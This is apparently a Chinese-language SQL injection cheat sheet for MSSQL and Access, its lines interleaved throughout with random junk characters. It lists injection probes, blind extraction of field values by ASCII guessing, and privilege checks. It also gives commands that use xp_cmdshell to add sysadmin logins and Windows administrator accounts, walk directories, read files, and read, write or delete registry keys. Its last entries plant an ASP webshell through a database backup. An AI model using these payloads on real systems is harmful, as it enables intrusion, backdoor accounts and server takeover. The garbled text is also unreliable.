1.判断是否有注入;and 1=1 ;and 1=2 t5WW3$Nf
2.初步判断是否是mssql ;and user>0 S6Fn(%T+9
<2{-ey]
3.注入参数是字符'and [查询条件] and ''=' S U$U
T4x%dg
4.搜索时没过滤参数的'and [查询条件] and '%25'=' mXXU{IwUe
"_
i:
5.判断数据库系统 uMe]].04
;/g Bjp]H
;and (select count(*) from sysobjects)>0 mssql 2^$Ha|
'l*p!=
;and (select count(*) from msysobjects)>0 access gG6j>%y
tjTnFP/=
j>-O'CO
\_J;i[
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ~*Kk+w9H<
Zw<\^1
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $,9A?'
-'mTSJ.}
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 qTUyax
dGY:?mf&
9.(1)猜字段的ascii值(access) X1PXX!]lo[
$(8CU$gi=
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 W2F *+M
r0fxEYze&
(2)猜字段的ascii值(mssql) yTb#V"eR
\=NS@_t,
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ,`O.0e4pn
[Y_CRxa\u
10.测试权限结构(mssql) =AIeYUh
$\A=J
]d]rV
`RF
+#V.6i
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- mW&hUPRx
l" P3lKS
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- vQ",rP%
A5[iFT>
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- LX2Re
]&
zo>@"uH4
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- JRYCM}C]
|%l&H/
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3yw`%$d5
1HS43!
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- {GP#/5$=
[ qx[ 0
;and 1=(select IS_MEMBER('db_owner'));-- WAqH*LB
gql^Inx<
x^]J^L45
vnS;T+NZSC
11.添加mssql和系统的帐户 3F ]30
qb1JE[2F
;exec master.dbo.sp_addlogin username;-- e=u?-8
;exec master.dbo.sp_password null,username,password;-- %;MM+xVVX
|Jpi|'
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- T1[B*RwC
w1J%%//(h
;exec master.dbo.xp_cmdshell 'net user username password <A`zK
Mj5&vs~n;
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- [wv;CUmgc
P4{!/&/
;exec master.dbo.xp_cmdshell 'net user username password /add';-- )N'rYS'9
VSLi{=#
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- k|D =Q
&~{0@/
I:Q3r"1
yYN _]&ag
12.(1)遍历目录 _k O<|ev
\;bDDTM
;create table dirs(paths varchar(100), id int) J-d>#'Wb|
*1c1XN<7
;insert dirs exec master.dbo.xp_dirtree 'c:\' e61e|hoX\
q)rxv7Iu\
;and (select top 1 paths from dirs)>0 ]7DS>%mY(
Yx"un4
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) KzWqHq
gO%oA} !i
i8|0zI
bTep TWv
(2)遍历目录 ^={s(B2
Xn=
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- f{+n$Cos
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ~U$ioQy<
wT@{=s,
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 }>$3B5}
sX[k}=HCK
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 -a\[`JHi
!}I+)@~\w
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ={[9kR i
SodYb
ow2tfylV
'Hv=\p4$1
13.mssql中的存储过程 teX)!N [
'9XSz?
xp_regenumvalues 注册表根键, 子键 :[d*
GMOnp$@H^s
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 &<oJw TC
ywY[g{4+
xp_regread 根键,子键,键值名 mZ0'-ax
Q nmv?YXS
;exec xp_regread
Lm1
-
ESi'3mbeC
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1)v]<Ga~%1
B
x-"<^<
xp_regwrite 根键,子键, 值名, 值类型, 值 W!B\VB
w
21g&
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 /v8yE9N_
oxZXY]$y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 kG>m(n
s~>0<3{5
xp_regdeletevalue 根键,子键,值名 W'" p:Uhq
B0$ge"FK9
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 |* v w(
@ebSM#F?
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 uq\[^
Mem1X rBH
&e)V!o@wJV
/vNHb_-
14.mssql的backup创建webshell '
o(7@
2#)z%K6T
use model O/Mx$Q3re
JyDg=%-$2
create table cmd(str image); R
q9(<'F
,-`A6ehg
insert into cmd(str) values (''); ^^(!>n6r^
yt[*4gF4
backup database model to disk='c:\l.asp'; Xv2Q8-}w
^{g('BQx
vM?jm!nd
"1z#6vw5a
15.mssql内置函数 lQKq{WLFx.
WY$c^av<
;and (select @@version)>0 获得Windows的版本号 vocWV/
i{biQ|,.sL
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 9CPr/q9'
]=vRjw
;and (select user_name())>0 爆当前系统的连接用户 =58:e7(df
6rBP,\m
;and (select db_name())>0 得到当前连接的数据库 1<F6{?,z
ypLt6(1j%
d^qTY?k.
p(fL'
J
16.简洁的webshell Uu0
t{Wu5<F:
use model )NmYgd~%
`h='FJ/!
create table cmd(str image); ;.{J>Q/U,
pSdtAv
insert into cmd(str) values (''); jX&/ e'B
9a$ 7$4m
backup database model to disk='g:\wwwtest\l.asp';